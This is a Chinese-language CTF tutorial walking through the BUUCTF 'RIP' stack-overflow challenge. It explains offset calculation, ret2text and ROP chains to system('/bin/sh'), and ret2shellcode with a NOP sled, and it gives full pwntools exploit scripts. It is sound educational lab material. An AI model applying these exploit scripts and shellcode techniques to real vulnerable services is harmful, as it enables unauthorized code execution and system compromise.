栈溢出漏洞利用实战:从Ret2text到Ret2shellcode的PWN入门指南
1. 项目概述从一道经典PWN题看栈溢出利用的“道”与“术”最近在带新人入门CTF的二进制安全方向发现很多朋友在BUUCTF平台做那道名为“RIP”的入门题时虽然能理解栈溢出的基本概念但在实际构造payload时总会遇到各种“玄学”问题。比如明明算好了偏移脚本一跑却拿不到shell或者本地测试成功远程一打就失败。这道题本身并不复杂但它像一块试金石能清晰地暴露出一个初学者从理论理解到实战应用之间的沟壑。今天我就结合自己踩过的坑详细拆解这道题两种核心的payload写法并附上可直接复现的Python pwntools脚本。无论你是刚接触PWN的新手还是想巩固基础的老手相信这篇从实战中凝练的指南能帮你把“栈溢出”这个知识点真正焊死在脑子里。我们不止讲“怎么做”更要深挖“为什么这么做”以及“哪种做法在什么场景下更优”。2. 环境准备与题目静态分析在动手写exp之前充分的准备工作能避免后续很多无谓的折腾。这道题名为“rip”通常指代控制指令指针寄存器直指漏洞利用的核心目标。2.1 题目文件获取与基础检查首先从BUUCTF平台下载题目附件通常是一个名为pwn或rip的ELF可执行文件。拿到文件后别急着运行先用file命令看看它的基本信息file rip输出很可能是rip: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]..., not stripped。这里有几个关键信息64位程序、动态链接、没有去除符号表。64位意味着函数传参和栈帧结构与32位不同这是我们构造payload时必须考虑的第一点。“not stripped”是个好消息意味着调试时能看到函数名分析起来更方便。接着用checksec检查程序的安全编译选项checksec --filerip典型的输出可能如下Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments这份“体检报告”至关重要Stack: No canary found栈上没有金丝雀保护。这是我们能进行栈溢出攻击的前提。如果有栈保护我们需要先泄露或绕过canary难度会大增。NX disabled数据执行保护未开启。这意味着我们注入到栈上的shellcode可以被执行。如果NX开启我们则需要转向ROP等不依赖执行栈上代码的技术。PIE: No PIE地址随机化未开启。程序中函数和变量的地址是固定的我们可以直接使用如0x400000这样的绝对地址。如果PIE开启所有地址在每次运行时都随机化我们需要先泄露一个地址来计算基址。注意checksec的结果是动态的一定要以你实际下载的文件输出为准。但就“RIP”这道入门题而言关闭这些保护是常态旨在让学习者专注于理解溢出原理本身。2.2 代码审计与漏洞点定位由于程序没去符号我们可以直接用objdump或readelf查看或者拖到IDA、Ghidra等反编译工具里更直观。这里以快速命令行分析为例寻找入口和可疑函数objdump -d rip | grep -A 20 main更常见的漏洞函数是gets,scanf,strcpy等不检查边界函数。我们可以搜索这些危险函数objdump -d rip | grep -E gets|scanf|strcpy|read假设我们找到了一个调用了gets的函数比如vuln或main本身。用反编译工具查看其伪代码通常会看到类似这样的结构void vuln() { char s[15]; // 或类似的小缓冲区 gets(s); // 危险函数溢出点 puts(s); }或者直接在main里int main() { char buf[0xF]; // 15字节的缓冲区 gets(buf); return 0; }漏洞成因gets函数会一直读取输入直到遇到换行符或EOF它完全不检查目标缓冲区的大小。如果我们的输入长度超过了为buf预留的栈空间比如15字节多出的数据就会覆盖栈上更高地址的内容这其中就包括函数返回地址Saved RIP。目标我们的目标就是精确地控制被覆盖的返回地址让它指向我们想要执行的代码例如一个能获取shell的system(/bin/sh)调用或者一块我们输入的shellcode。2.3 计算精确偏移量这是构造payload最关键的一步错了后面全白搭。偏移量指的是从我们输入的缓冲区起始位置到栈上保存的返回地址RIP之间的字节距离。方法一模式字符串生成与定位推荐使用cyclic工具pwntools内置或单独安装生成一段不易重复的字符串输入给程序使其崩溃然后根据崩溃时RIP寄存器的值反推偏移。# 生成200个字符的模式串 cyclic 200 # 输出aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam...将这段字符串作为程序的输入可以通过python管道或写在文件里。程序崩溃后查看崩溃时RIP的值在GDB中看$rip寄存器。假设$rip 0x6161616a‘jaaa’的十六进制ASCII。然后cyclic -l 0x6161616a # 或 cyclic -l jaaa工具会告诉你这个值在模式串中的偏移位置例如Offset: 23。这意味着在填满23个字节的垃圾数据后下一个字节开始就会覆盖到RIP。方法二静态分析估算结合反编译看到的缓冲区大小如char s[15]和汇编代码中栈帧布局来计算。在64位程序中调用函数时返回地址保存在[rbp8]的位置。而缓冲区通常从[rbp-0x??]开始。所以偏移量 ≈ 缓冲区大小 rbp到缓冲区起始的距离 8覆盖掉旧的RBP本身。这种方法不如动态调试准确容易因编译器优化、栈对齐等因素出错仅作为辅助验证。实操心得务必使用cyclic动态验证偏移。我见过太多人静态算出来是“X”一跑发现是“X8”或“X-8”就是因为没考虑栈对齐Stack Alignment或编译器预留的空间。对于这道题偏移很可能是一个像23、27这样的值记住它我们马上要用。3. 利用思路一Ret2text返回到程序本身代码这是最直接、最经典的利用方法适用于程序中本身就有“后门”函数如调用了system(/bin/sh)的函数或者有现成的/bin/sh字符串和system调用的情况。3.1 寻找可利用的代码与数据首先检查程序里有没有现成的“礼物”。用objdump或IDA搜索字符串strings rip | grep -i /bin/sh如果找到了/bin/sh字符串记下它的地址例如0x400123。接着寻找system函数的调用或它的PLT表地址。因为程序是动态链接的system的地址会在运行时解析但其在过程链接表PLT中的桩地址是固定的。objdump -d rip | grep -E systemplt|system # 或 readelf -r rip | grep system假设找到systemplt的地址是0x400520。更理想的情况是程序里直接有一个这样的函数void shell() { system(/bin/sh); }它的地址假设是0x400567就是我们完美的跳转目标。3.2 构造Payload与栈帧布局在64位Linux下函数调用遵循System V AMD64 ABI约定。前六个整型或指针参数依次通过寄存器RDI, RSI, RDX, RCX, R8, R9传递多余的才通过栈传递。所以要调用system(“/bin/sh”)我们需要将字符串“/bin/sh”的地址放入RDI寄存器。跳转到system函数的地址。如果我们找到的shell()函数已经帮我们做好了这两件事那payload构造就非常简单payload bA * offset p64(shell_addr)其中bA * offset是填充物用于填满缓冲区直到覆盖RIP之前的所有空间。p64(shell_addr)是用pwntools的p64函数将地址打包成64位小端序字节串它正好覆盖了栈上的返回地址。当vuln函数执行ret指令时会从栈顶弹出这个地址到RIPCPU接下来就会去执行shell()函数里的代码。如果没有现成的shell函数怎么办我们需要自己构造一个简单的ROP链。这时需要寻找两个gadgetpop rdi; ret用于将/bin/sh的地址弹出到rdi寄存器。一个ret指令用于链式调用在64位系统中为了满足栈对齐要求有时需要在system地址前多加一个retgadget。使用工具ROPgadget来搜索ROPgadget --binary rip | grep pop rdi假设找到pop rdi; ret的地址是0x400123/bin/sh字符串地址是0x400200systemplt地址是0x400520。那么payload构造如下payload bA * offset p64(pop_rdi_ret) p64(bin_sh_addr) p64(system_plt)栈布局解析vuln函数ret后RIP指向pop rdi; ret。pop rdi执行将栈顶的下一个值p64(bin_sh_addr)弹出到RDI寄存器此时栈顶指向p64(system_plt)。pop rdi后的ret执行跳转到systemplt。system函数开始执行此时RDI寄存器里已经是/bin/sh的地址因此成功调用system(“/bin/sh”)。3.3 Python pwntools脚本实现Ret2text下面是一个完整的、注释详细的利用脚本模板#!/usr/bin/env python3 from pwn import * # 导入pwntools # 设置上下文指定架构和操作系统这对pwntools生成shellcode和打包数据很重要 context(archamd64, oslinux) # 如果你在本地调试可以用 process # p process(./rip) # 如果是远程题目用 remote # p remote(node4.buuoj.cn, 12345) # 替换成实际地址和端口 # 这里以本地为例 p process(./rip) # 1. 关键地址需要根据你的实际分析结果修改 offset 23 # 用cyclic计算出的偏移量 shell_addr 0x400123 # 假设的shell函数地址 # 或者如果是ROP链 pop_rdi_ret 0x400123 bin_sh_addr 0x400200 system_plt 0x400520 # 2. 构造Payload # 方案A直接跳转到shell函数 payload bA * offset p64(shell_addr) # 方案B使用ROP链如果方案A没有现成函数 # payload bA * offset p64(pop_rdi_ret) p64(bin_sh_addr) p64(system_plt) # 3. 发送Payload print(f[*] Sending payload length: {len(payload)}) p.sendline(payload) # sendline会在末尾自动加\n相当于回车。如果程序用gets接收这没问题。 # 4. 切换到交互模式拿到shell后就可以手动输入命令了 p.interactive()注意事项地址一定要替换成你自己分析出来的正确值用0x开头的十六进制表示。p64()函数会自动处理成小端序。在发送前打印payload长度是个好习惯可以确认是否与预期一致。4. 利用思路二Ret2shellcode返回到栈上代码当程序没有现成的system调用或者你想更深入地理解“代码执行”的本质时Ret2shellcode是另一种选择。其核心是将一段能打开shell的机器指令shellcode作为输入的一部分注入到内存中然后让程序跳转到这段指令的起始地址去执行。4.1 Shellcode的生成与放置首先我们需要一段shellcode。pwntools可以很方便地生成shellcode asm(shellcraft.sh()) # 生成amd64 Linux下的execve(‘/bin/sh’, 0, 0) shellcode print(len(shellcode)) # 查看长度通常44字节左右这段shellcode非常精简其功能等同于执行execve(“/bin/sh”, NULL, NULL)。接下来是关键把这串指令放在哪里并让程序跳转过去最直观的想法是放在我们输入的缓冲区里。但这里有个陷阱我们的输入缓冲区在栈上而函数返回时栈指针RSP会发生变化。我们需要知道shellcode在内存中的确切地址才能用这个地址去覆盖RIP。4.2 确定Shellcode的地址这是Ret2shellcode方法最大的难点和不确定性来源。地址猜不准程序就会跳到莫名其妙的地方崩溃。有几种思路通过调试获取近似地址在GDB中在gets函数返回后、vuln函数返回前下断点查看缓冲区起始地址例如$rbp-0x10。这个地址在同一次运行、同一环境下是固定的。但问题在于关闭ASLR时地址固定开启ASLR或远程环境时栈地址每次运行都可能变化。利用栈地址泄露如果程序在溢出前能打印出某个栈地址比如缓冲区本身的地址我们就可以计算出shellcode的相对位置。但这道题通常没有这种输出。NOP雪橇NOP Sled这是一种提高命中率的经典技术。我们在shellcode前面填充大量的NOP指令机器码为0x90代表“无操作”。只要EIP跳转到这片NOP区域的任何位置CPU都会一路“滑行”直到执行到我们的shellcode。这大大增加了我们猜测的跳转地址的命中范围。4.3 构造Payload与利用脚本假设我们通过调试估算出缓冲区起始地址大约在0x7fffffffe000附近这只是一个例子每次都可能不同。我们采用NOP雪橇技术。#!/usr/bin/env python3 from pwn import * context(archamd64, oslinux) p process(./rip) offset 23 # 偏移量 # 估算的缓冲区地址这是一个需要反复尝试的“魔法数字” buf_addr 0x7fffffffe000 # 生成shellcode shellcode asm(shellcraft.sh()) shellcode_len len(shellcode) # 构造Payload nop_sled b\x90 * 100 # 100字节的NOP雪橇 # payload结构[填充至RIP] [跳转地址] [NOP雪橇] [shellcode] # 注意跳转地址应该指向NOP雪橇区域内的某个地址比如比估算的buf_addr稍大一点确保落在雪橇内。 jump_addr buf_addr 50 # 指向雪橇中部 payload bA * offset p64(jump_addr) nop_sled shellcode print(f[*] Shellcode length: {shellcode_len}) print(f[*] Total payload length: {len(payload)}) print(f[*] Jumping to address: {hex(jump_addr)}) p.sendline(payload) p.interactive()为什么这样布局函数返回后RIP被我们覆盖为jump_addr。CPU从那个地址开始执行遇到的是0x90(NOP)什么都不做只是将EIP加一继续执行下一条指令直到“滑”过所有NOP紧接着就执行我们的shellcode。致命陷阱与心得Ret2shellcode在这道题上极不稳定尤其是在远程环境下。原因如下栈地址随机化ASLR即使程序本身没开PIE操作系统的栈地址随机化ASLR也可能是开启的。这导致每次运行栈的基址都不同我们很难猜中准确的buf_addr。栈空间不可执行NX虽然这道题检查显示NX disabled但现代系统默认是开启NX的。如果NX开启栈上的数据包括我们的shellcode只有读写权限没有执行权限。CPU跳转过去会触发段错误Segmentation Fault。因此对于这道“RIP”题以及大多数现代环境下的PWN题Ret2text或更广义的ROP是远比Ret2shellcode可靠和通用的方法。Ret2shellcode更适合用于教学原理或者在一些极端受限如没有libc且关闭了所有保护的古旧系统中。5. 两种方法的对比与实战选择现在我们对两种方法有了深入理解来做一个清晰的对比并给出实战选择策略。特性Ret2text / ROPRet2shellcode核心原理复用程序自身或库中的代码片段gadget拼凑出目标功能。向进程内存注入并执行自定义的机器指令。稳定性高。依赖程序本身的固定地址不受ASLR影响PIE关闭时。低。严重依赖精确的内存地址受栈ASLR和NX保护影响极大。通用性强。是现代二进制利用的主流技术可对抗NX。通过构造复杂的ROP链能实现图灵完备。弱。在现代操作系统默认安全设置下很难成功。利用条件需要程序中存在有用的gadget和字符串。需要可预测且可执行的内存区域来放置shellcode。Payload长度通常较短主要是地址序列。较长包含NOP雪橇和shellcode本体。学习价值理解函数调用约定、栈帧布局、ROP链构造。理解CPU执行本质、内存布局、shellcode编写。对于BUUCTF “RIP”这道题我们的选择非常明确优先采用Ret2text方法。题目设计通常会在程序中预留shell函数或必要的gadget目的是考察你对偏移计算和地址覆盖的基本掌握。Ret2shellcode在这种环境下更像是一个“理论练习”用于理解漏洞利用的另一种可能性但在实际攻击中条件过于苛刻。实战步骤总结检查保护checksec确认NX关闭、PIE关闭确保Ret2shellcode理论上可行但Ret2text更稳。寻找后门用strings和objdump找/bin/sh和system或直接找shell函数。计算偏移用cyclic动态计算这是铁律不要静态猜。构造ROP链如果需要找pop rdi; ret和retgadget。编写并调试脚本先本地用process()测试确保能稳定拿到shell。远程攻击将脚本中的process(‘./rip’)改为remote(‘题目主机’, 端口)地址通常不变因为PIE没开。6. 常见问题与调试技巧实录即使理解了原理实际操作中还是会遇到各种问题。这里记录几个最常见的“坑”和解决方法。6.1 偏移量计算总是出错问题用cyclic生成的字符串导致程序崩溃但cyclic -l查到的偏移量代入脚本后无法控制RIP。排查确认你发送的payload长度是否正确。len(payload)应该等于offset 864位地址是8字节。检查输入函数程序用的是gets还是scanf(“%s”)还是readgets会在遇到\n时停止并将\n替换为\x00。scanf(“%s”)会在遇到空白字符时停止。这通常不影响偏移但如果你payload里有空格或\x00可能会被截断。确保payload里没有意外的\x00p64()生成的地址高位可能是00。最可靠的验证方法在脚本中发送payload b’A’*offset b’BBBBBBBB’8个B。用GDB附加运行程序在函数返回前ret指令处下断点观察栈上即将被弹出到RIP的值是不是0x4242424242424242‘B’的ASCII。如果不是说明偏移不对。6.2 本地成功远程失败问题本地用./rip测试能拿到shell但连接到远程服务器同样的payload却没反应或直接断开。排查库文件差异本地和远程的libc版本可能不同导致system函数的偏移或其他gadget地址不同。但“RIP”这类入门题通常不依赖libc地址或者使用的函数地址是固定的来自PLT。首先检查你使用的地址是否是程序本身的地址在0x400000或0x8048000附近而不是libc中的地址。栈对齐问题64位常见System V ABI要求函数调用时栈指针RSP在调用瞬间必须16字节对齐。某些system的实现对此敏感。如果直接跳转到systemplt崩溃可以尝试在system地址前加一个retgadget来调整栈指针。即把payload改成… p64(pop_rdi_ret) p64(bin_sh_addr) p64(ret_addr) p64(system_plt)。这个ret_addr就是一个只包含ret指令的gadget地址。输入输出缓冲远程连接可能存在缓冲。在发送payload后尝试用p.recvuntil(‘something’)或p.sendline(‘cat flag’)来触发交互。有时在p.interactive()前加一句p.clean()清空缓冲区也有用。网络延迟与连接确保远程地址和端口正确网络通畅。可以尝试在脚本开头加context.log_level ‘debug’查看详细的发送接收数据。6.3 使用pwntools时遇到奇怪错误AttributeError: ‘module’ object has no attribute ‘asm’确保安装了pwntools且版本较新。有时需要指定上下文context.binary ‘./rip’。GDB调试技巧在脚本中可以使用gdb.attach(p)在发送payload前暂停并启动GDB调试。或者用p gdb.debug(‘./rip’, gdbscript’…’)来启动带调试的程序。这对于观察内存布局、验证地址非常有用。地址打印在脚本中多用print(hex(address))来确认你使用的地址是否正确。6.4 关于获取flag的最终步骤成功拿到shell后你处于一个交互式环境。常见的获取flag的方式有# 直接查看flag文件通常叫flag、flag.txt、flag.php等 cat flag cat flag.txt # 如果不知道名字可以列出目录 ls -la # 有时flag在当前目录有时在根目录或父目录 cat /flag # 如果权限不够可能需要提权但这道题通常不需要如果cat被禁用可以尝试more,less,head,tail,strings等命令。最后别忘了在脚本末尾关闭连接p.close()虽然交互模式下退出后会自动关闭。这道“RIP”题就像二进制安全的“Hello World”它剥离了复杂的保护机制让你专注于最核心的栈溢出原理。掌握这两种payload的写法特别是理解其背后的栈帧变化、寄存器控制和内存布局是通往更高级PWN技术如Ret2libc、堆利用、格式化字符串等的坚实基石。多动手、多调试、多思考“为什么”每一个坑踩过去都是实实在在的进步。

相关新闻